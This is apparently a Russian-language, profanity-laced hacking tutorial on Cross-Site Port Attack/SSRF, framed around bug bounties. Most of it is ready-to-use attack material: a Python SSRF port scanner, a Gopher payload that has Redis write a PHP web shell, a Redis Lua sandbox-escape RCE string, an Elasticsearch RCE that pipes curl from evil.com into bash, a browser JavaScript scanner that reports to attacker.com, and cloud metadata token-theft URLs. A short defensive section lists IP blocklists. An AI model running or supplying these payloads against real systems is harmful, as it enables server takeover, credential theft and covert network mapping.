Слушай, братан, щас расскажу про XSPA (Cross-Site Port Attack) — древнее зло, которое живёт в каждом веб-приложении с функцией «загрузить по URL». Это когда ты заставляешь сервер жертвы сканировать свою внутреннюю сеть, а потом ещё и пиздить данные из Redis/Memcached/Elasticsearch. Красота в том, что файрволы бессильны — запрос-то идёт изнутри.
Суть прикола
XSPA — это подвид SSRF, но с фокусом на port scanning. Ты находишь функцию типа «загрузить аватарку по URL» или fetch() в API, пихаешь туда http://127.0.0.1:6379, и смотришь на timing/error response. Разница в миллисекундах скажет, открыт порт или закрыт.
Почему это работает:
-
Внутренние сервисы (Redis, Memcached, Elasticsearch) обычно без аутентификации
-
Same Origin Policy не касается server-side запросов
-
Браузер можешь использовать для сканирования локальной сети жертвы через JavaScript
Точка входа: как поймать
Что вижу:
|
1 2 3 4 5 |
POST /api/upload HTTP/1.1 Host: target.com Content-Type: application/json {"image_url": "https://evil.com/cat.jpg"} |
Видишь параметр, который fetch’ит внешний ресурс? Это — золотая жила.
Как поймал:
-
Burp Suite → Intercept запрос с URL-параметром
-
Меняешь на
http://127.0.0.1:22(SSH обычно открыт) -
Замеряешь время ответа:
closed port = быстрая ошибка (~50ms),open port = долгий timeout (~5-10s) -
Автоматизируешь через Python:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
import requests, time ports = [22, 80, 443, 3306, 5432, 6379, 8080, 9200, 11211, 27017] base_url = "http://target.com/api/fetch" for port in ports: start = time.time() try: r = requests.post(base_url, json={"url": f"http://127.0.0.1:{port}"}, timeout=3) elapsed = time.time() - start if elapsed > 1: # Долгий ответ = порт открыт print(f"[+] Port {port} OPEN (время: {elapsed:.2f}s)") except requests.exceptions.Timeout: print(f"[+] Port {port} вероятно OPEN (timeout)") except: pass |
Чем пахнет: SSRF + Internal Port Scan, вероятность 9/10 на легаси-приложениях.
Че почем: эксплойт топ-сервисов
Redis (порт 6379) → RCE через Gopher
Redis без auth’а — это как банковский сейф с табличкой «Возьмите, пожалуйста».
Payload через Gopher protocol:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
# Генерим Gopher payload для записи в Redis redis_cmd = """ CONFIG SET dir /var/www/html CONFIG SET dbfilename shell.php SET pwn "<?php system($_GET['cmd']); ?>" SAVE QUIT """ # URL-encode для gopher:// gopher_payload = "gopher://127.0.0.1:6379/_" + redis_cmd.replace('\n', '%0D%0A').replace(' ', '%20') # Результат: gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/var/www/html%0D%0A... # Отправляем через SSRF requests.post("http://target.com/api/fetch", json={"url": gopher_payload}) |
Теперь иди на http://target.com/shell.php?cmd=id — uid=0(root) if lucky.
Альтернатива — CVE-2022-0543 (Redis Lua Sandbox Escape):
|
1 |
gopher://127.0.0.1:6379/_*3%0D%0A$4%0D%0Aeval%0D%0A$165%0D%0Alocal%20io_l%20=%20package.loadlib%28%22/usr/lib/x86_64-linux-gnu/liblua5.1.so.0%22%2C%22luaopen_io%22%29%3B%20local%20io%20=%20io_l%28%29%3B%20local%20f%20=%20io.popen%28%22id%22%2C%22r%22%29%3B%20local%20res%20=%20f:read%28%22*a%22%29%3B%20f:close%28%29%3B%20return%20res%0D%0A$1%0D%0A0%0D%0A |
Instant RCE, если Redis версии < 6.2.7.
Memcached (порт 11211) → Cache Poisoning
Memcached слушает dict:// protocol.
Payload:
|
1 2 3 4 5 |
# Чтение ключей dict://127.0.0.1:11211/stats # Запись яда в кеш (если есть возможность) dict://127.0.0.1:11211/set:session_admin:0:3600:{"admin":true} |
Дамп статистики покажет размер кеша, количество ключей, версию. Дальше — cache poisoning для session hijacking.
Elasticsearch (порт 9200) → RCE через Dynamic Scripting
Elasticsearch до версии 1.2.0 позволяет выполнять Java-код без auth’а.
PoC через браузер (да, блять, через <img>):
|
1 |
<img src="http://localhost:9200/_search?source=%7B%22query%22%3A%7B%22filtered%22%3A%7B%22query%22%3A%7B%22match_all%22%3A%7B%7D%7D%7D%7D%2C%22script_fields%22%3A%7B%22exp%22%3A%7B%22script%22%3A%22import%20java.io.*%3Bnew%20File(%2Ftmp%2Fpwned).createNewFile()%22%7D%7D%7D"> |
Жертва открывает страницу → браузер делает GET-запрос → создаётся файл /tmp/pwned на её локальной машине. Это работает, потому что Elasticsearch по дефолту слушает 0.0.0.0:9200.
Через SSRF для RCE:
|
1 |
curl "http://target.com/api/fetch?url=http://127.0.0.1:9200/_search?source=%7B%22query%22:%7B%22match_all%22:%7B%7D%7D,%22script_fields%22:%7B%22test%22:%7B%22script%22:%22java.lang.Math.class.forName(\%22java.lang.Runtime\%22).getRuntime().exec(\%22curl%20http://evil.com/shell.sh%20|%20bash\%22).getText()%22%7D%7D%7D" |
Timing-Based Port Scanner через JavaScript
Для browser-based XSPA:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
async function scanPort(ip, port) { return new Promise((resolve) => { const img = document.createElement('img'); const start = Date.now(); img.onerror = () => { const elapsed = Date.now() - start; // Закрытый порт = быстрый reject (~5-50ms) // Открытый порт = долгий timeout (~1000ms+) resolve({ port, open: elapsed > 100 }); }; img.src = `http://${ip}:${port}/`; setTimeout(() => resolve({ port, open: true }), 2000); }); } // Сканируем внутреннюю сеть жертвы (async () => { const targets = ['127.0.0.1', '192.168.1.1', '10.0.0.1']; const ports = [22, 80, 443, 3306, 6379, 9200]; for (let ip of targets) { for (let port of ports) { const result = await scanPort(ip, port); if (result.open) { fetch(`https://attacker.com/log?ip=${ip}&port=${port}`); console.log(`[+] ${ip}:${port} OPEN`); } } } })(); |
Заливаешь это на свой сайт, жертва открывает — ты получаешь карту её внутренней сети.
Защита (для дев-братков)
-
Whitelist схем — только
http://иhttps://, нахуй gopher/dict/file -
Blacklist internal IP-ranges:
|
1 2 3 4 5 6 |
import ipaddress blocked = ['127.0.0.0/8', '10.0.0.0/8', '172.16.0.0/12', '192.168.0.0/16', '169.254.0.0/16'] ip = ipaddress.ip_address(target_ip) if any(ip in ipaddress.ip_network(block) for block in blocked): raise Exception("Nice try, bro") |
-
Bind internal services на localhost — Redis/Memcached/ES должны слушать только
127.0.0.1, не0.0.0.0 -
Disable dynamic scripting в Elasticsearch:
|
1 |
script.disable_dynamic: true |
Советы
3 вектора для добивания:
-
Если timing-based не работает — попробуй error-based: открытые порты дают HTTP errors (400/500), закрытые — connection refused. Разные error codes = разные сервисы.
-
Cloud metadata endpoints — если цель в AWS/GCP/Azure:
|
1 2 |
http://169.254.169.254/latest/meta-data/iam/security-credentials/ http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token |
Выдернешь токены — будешь владеть всей инфраструктурой.
-
Combine с XXE/CSRF — если SSRF не работает напрямую, попробуй через XXE для file read или CSRF для authenticated requests.
План атаки (если зацепка есть):
-
Найди endpoint с URL-fetch функцией (
/api/upload,/webhooks,/avatarи тд) -
Запусти port scan через Burp Intruder (payload:
http://127.0.0.1:§PORT§, числа 1-65535) -
Нашёл Redis (6379) / Memcached (11211) / ES (9200)? Генерируй Gopher/dict payload через Gopherus tool:
|
1 2 3 |
git clone https://github.com/tarunkant/Gopherus python2 gopherus.py --exploit redis # Вводишь команды → получаешь готовый gopher:// URL |
-
Эксплуатируй найденный сервис
-
Если всё ещё нет RCE — ищи другие internal endpoints через fuzzing:
|
1 |
ffuf -u http://target.com/api/fetch?url=http://127.0.0.1:8080/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt |
-
Найденный internal admin panel? Готовь screenshoty для bug bounty репорта
Иди топтать баунти-программы — SSRF до сих пор в топ-3 критикалов.



